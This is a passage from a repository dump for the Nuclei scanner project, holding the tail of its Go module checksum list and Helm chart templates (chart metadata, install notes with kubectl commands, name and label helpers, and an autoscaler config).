h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=\ngolang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=\ngolang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8=\ngolang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=\ngolang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=\ngolang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=\ngolang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=\ngolang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=\ngolang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=\ngolang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=\ngolang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=\ngolang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=\ngolang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=\ngolang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=\ngolang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=\ngolang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=\ngolang.org/x/tools v0.41.0 h1:a9b8iMweWG+S0OBnlU36rzLp20z1Rp10w+IY2czHTQc=\ngolang.org/x/tools v0.41.0/go.mod h1:XSY6eDqxVNiYgezAVqqCeihT4j1U2CCsqvH3WhQpnlg=\ngolang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngoogle.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=\ngoogle.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=\ngoogle.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=\ngoogle.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=\ngoogle.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=\ngoogle.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=\ngoogle.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=\ngoogle.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=\ngoogle.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=\ngoogle.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=\ngoogle.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=\ngoogle.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=\ngoogle.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=\ngoogle.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=\ngoogle.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM=\ngoogle.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc=\ngoogle.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=\ngoogle.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=\ngoogle.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=\ngoogle.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=\ngoogle.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=\ngoogle.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=\ngoogle.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=\ngoogle.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=\ngoogle.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=\ngoogle.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=\ngoogle.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=\ngoogle.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=\ngoogle.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=\ngoogle.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=\ngoogle.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=\ngoogle.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=\ngoogle.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=\ngoogle.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=\ngoogle.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=\ngoogle.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=\ngoogle.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=\ngoogle.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA=\ngoogle.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=\ngoogle.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=\ngoogle.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=\ngoogle.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20250122153221-138b5a5a4fd4 h1:Pw6WnI9W/LIdRxqK7T6XGugGbHIRl5Q7q3BssH6xk4s=\ngoogle.golang.org/genproto/googleapis/api v0.0.0-20250303144028-a0af3efb3deb h1:p31xT4yrYrSM/G4Sn2+TNUkVhFCbG9y8itM2S6Th950=\ngoogle.golang.org/genproto/googleapis/api v0.0.0-20250303144028-a0af3efb3deb/go.mod h1:jbe3Bkdp+Dh2IrslsFCklNhweNTBgSYanP1UXhJDhKg=\ngoogle.golang.org/genproto/googleapis/rpc v0.0.0-20250303144028-a0af3efb3deb h1:TLPQVbx1GJ8VKZxz52VAxl1EBgKXXbTiU9Fc5fZeLn4=\ngoogle.golang.org/genproto/googleapis/rpc v0.0.0-20250303144028-a0af3efb3deb/go.mod h1:LuRYeWDFV6WOn90g357N17oMCaxpgCnbi/44qJvDn2I=\ngoogle.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=\ngoogle.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=\ngoogle.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=\ngoogle.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=\ngoogle.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=\ngoogle.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=\ngoogle.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=\ngoogle.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=\ngoogle.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=\ngoogle.golang.org/grpc v1.76.0 h1:UnVkv1+uMLYXoIz6o7chp59WfQUYA2ex/BXQ9rHZu7A=\ngoogle.golang.org/grpc v1.76.0/go.mod h1:Ju12QI8M6iQJtbcsV+awF5a4hfJMLi4X0JLo94ULZ6c=\ngoogle.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=\ngoogle.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=\ngoogle.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=\ngoogle.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=\ngoogle.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=\ngoogle.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=\ngoogle.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=\ngoogle.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=\ngoogle.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=\ngoogle.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=\ngoogle.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=\ngoogle.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=\ngoogle.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=\ngoogle.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY=\ngoogle.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY=\ngopkg.in/alecthomas/kingpin.v2 v2.2.6 h1:jMFz6MfLP0/4fUyZle81rXUoxOBFi19VUFKVDOQfozc=\ngopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=\ngopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=\ngopkg.in/corvus-ch/zbase32.v1 v1.0.0 h1:K4u1NprbDNvKPczKfHLbwdOWHTZ0zfv2ow71H1nRnFU=\ngopkg.in/corvus-ch/zbase32.v1 v1.0.0/go.mod h1:T3oKkPOm4AV/bNXCNFUxRmlE9RUyBz/DSo0nK9U+c0Y=\ngopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=\ngopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=\ngopkg.in/ini.v1 v1.42.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22/go.mod h1:yeKp02qBN3iKW1OzL3MGk2IdtZzaj7SFntXj72NppTA=\ngopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=\ngopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=\ngopkg.in/warnings.v0 v0.1.2 h1:wFXVbFY8DY5/xOe1ECiWdKCzZlxgshcYVNkBHstARME=\ngopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI=\ngopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=\ngopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngotest.tools/v3 v3.5.2 h1:7koQfIKdy+I8UTetycgUqXWSDwpgv193Ka+qRsmBY8Q=\ngotest.tools/v3 v3.5.2/go.mod h1:LtdLGcnqToBH83WByAAi/wiwSFCArdFIUV/xxN4pcjA=\nhonnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=\nhonnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=\nhonnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=\nmellium.im/sasl v0.3.2 h1:PT6Xp7ccn9XaXAnJ03FcEjmAn7kK1x7aoXV6F+Vmrl0=\nmellium.im/sasl v0.3.2/go.mod h1:NKXDi1zkr+BlMHLQjY3ofYuU4KSPFxknb8mfEu6SveY=\nmoul.io/http2curl v1.0.0 h1:6XwpyZOYsgZJrU8exnG87ncVkU1FVCcTRpwzOkTDUi8=\nmoul.io/http2curl v1.0.0/go.mod h1:f6cULg+e4Md/oW1cYmwW4IWQOVl2lGbmCNGOHvzX2kE=\npgregory.net/rapid v1.2.0 h1:keKAYRcjm+e1F0oAuU5F5+YPAWcyxNNRK2wud503Gnk=\npgregory.net/rapid v1.2.0/go.mod h1:PY5XlDGj0+V1FCq0o192FdRhpKHGTRIWBgqjDBTrq04=\nrsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=\nrsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=\nrsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=\n"
  },
  {
    "path": "helm/Chart.yaml",
    "content": "apiVersion: v2\nname: nuclei\ndescription: A Helm chart for Nuclei\ntype: application\nversion: 0.1.0\nappVersion: \"2.5.7\"\n"
  },
  {
    "path": "helm/templates/NOTES.txt",
    "content": "1. Get the application URL by running these commands:\n{{- if .Values.interactsh.ingress.enabled }}\n{{- range $host := .Values.interactsh.ingress.hosts }}\n  {{- range .paths }}\n  http{{ if $.Values.interactsh.ingress.tls }}s{{ end }}://{{ $host.host }}{{ .path }}\n  {{- end }}\n{{- end }}\n{{- else if contains \"NodePort\" .Values.interactsh.service.type }}\n  export NODE_PORT=$(kubectl get --namespace {{ .Release.Namespace }} -o jsonpath=\"{.spec.ports[0].nodePort}\" services {{ include \"nuclei.fullname\" . }})\n  export NODE_IP=$(kubectl get nodes --namespace {{ .Release.Namespace }} -o jsonpath=\"{.items[0].status.addresses[0].address}\")\n  echo http://$NODE_IP:$NODE_PORT\n{{- else if contains \"LoadBalancer\" .Values.interactsh.service.type }}\n     NOTE: It may take a few minutes for the LoadBalancer IP to be available.\n           You can watch the status of by running 'kubectl get --namespace {{ .Release.Namespace }} svc -w {{ include \"nuclei.fullname\" . }}'\n  export SERVICE_IP=$(kubectl get svc --namespace {{ .Release.Namespace }} {{ include \"nuclei.fullname\" . }} --template \"{{\"{{ range (index .status.loadBalancer.ingress 0) }}{{.}}{{ end }}\"}}\")\n  echo http://$SERVICE_IP:{{ .Values.interactsh.service.port }}\n{{- else if contains \"ClusterIP\" .Values.interactsh.service.type }}\n  export POD_NAME=$(kubectl get pods --namespace {{ .Release.Namespace }} -l \"app.kubernetes.io/name={{ include \"nuclei.name\" . }},app.kubernetes.io/instance={{ .Release.Name }}\" -o jsonpath=\"{.items[0].metadata.name}\")\n  export CONTAINER_PORT=$(kubectl get pod --namespace {{ .Release.Namespace }} $POD_NAME -o jsonpath=\"{.spec.containers[0].ports[0].containerPort}\")\n  echo \"Visit http://127.0.0.1:8080 to use your application\"\n  kubectl --namespace {{ .Release.Namespace }} port-forward $POD_NAME 8080:$CONTAINER_PORT\n{{- end }}\n"
  },
  {
    "path": "helm/templates/_helpers.tpl",
    "content": "{{/*\nExpand the name of the chart.\n*/}}\n{{- define \"nuclei.name\" -}}\n{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n\n{{/*\nCreate a default fully qualified app name.\nWe truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).\nIf release name contains chart name it will be used as a full name.\n*/}}\n{{- define \"nuclei.fullname\" -}}\n{{- if .Values.fullnameOverride }}\n{{- .Values.fullnameOverride | trunc 63 | trimSuffix \"-\" }}\n{{- else }}\n{{- $name := default .Chart.Name .Values.nameOverride }}\n{{- if contains $name .Release.Name }}\n{{- .Release.Name | trunc 63 | trimSuffix \"-\" }}\n{{- else }}\n{{- printf \"%s-%s\" .Release.Name $name | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n{{- end }}\n{{- end }}\n\n{{/*\nCreate chart name and version as used by the chart label.\n*/}}\n{{- define \"nuclei.chart\" -}}\n{{- printf \"%s-%s\" .Chart.Name .Chart.Version | replace \"+\" \"_\" | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n\n{{/*\nCommon labels\n*/}}\n{{- define \"nuclei.labels\" -}}\nhelm.sh/chart: {{ include \"nuclei.chart\" . }}\n{{ include \"nuclei.selectorLabels\" . }}\n{{- if .Chart.AppVersion }}\napp.kubernetes.io/version: {{ .Chart.AppVersion | quote }}\n{{- end }}\napp.kubernetes.io/managed-by: {{ .Release.Service }}\n{{- end }}\n\n{{/*\nSelector labels\n*/}}\n{{- define \"nuclei.selectorLabels\" -}}\napp.kubernetes.io/name: {{ include \"nuclei.name\" . }}\napp.kubernetes.io/instance: {{ .Release.Name }}\n{{- end }}\n\n{{/*\nCreate the name of the service account to use\n*/}}\n{{- define \"nuclei.serviceAccountName\" -}}\n{{- if .Values.serviceAccount.create }}\n{{- default (include \"nuclei.fullname\" .) .Values.serviceAccount.name }}\n{{- else }}\n{{- default \"default\" .Values.serviceAccount.name }}\n{{- end }}\n{{- end }}\n"
  },
  {
    "path": "helm/templates/hpa.yaml",
    "content": "{{- if .Values.autoscaling.enabled }}\napiVersion: autoscaling/v2beta1\nkind: HorizontalPodAutoscaler\nmetadata:\n  name: {{ include \"nuclei.fullname\" . }}\n  labels:\n    {{- include \"nuclei.labels\" . | nindent 4 }}\nspec:\n  scaleTargetRef:\n    apiVersion: apps/v1\n    kind: Deployment\n    name: {{ include \"nuclei.fullname\" . }}-interactsh\n  minReplicas: {{ .Values.autoscaling.minReplicas }}\n  maxReplicas: {{ .Values.autoscaling.maxReplicas }}\n  metrics:\n    {{- if .Values.autoscaling.targetCPUUtilizationPercentage }}\n    - type: Resource\n      resource:\n        name: cpu\n        targetAverageUtilization: {{ .Values.autoscaling.targetCPUUtilizationPercentage }}\n    {{- end }}\n    {{- if .Values.autoscaling.targetMemoryUtilizationPercentage }}\n    - type: Resource\n      resource:\n        name: memory\n        targetAverageUtilization: {{ .Values.autoscaling.targetMemoryUtilizationPercentage }}\n    {{- end }}\n{{- end }}\n"
  },
  {
    "path": "helm/templates/interactsh-deployment.yaml",
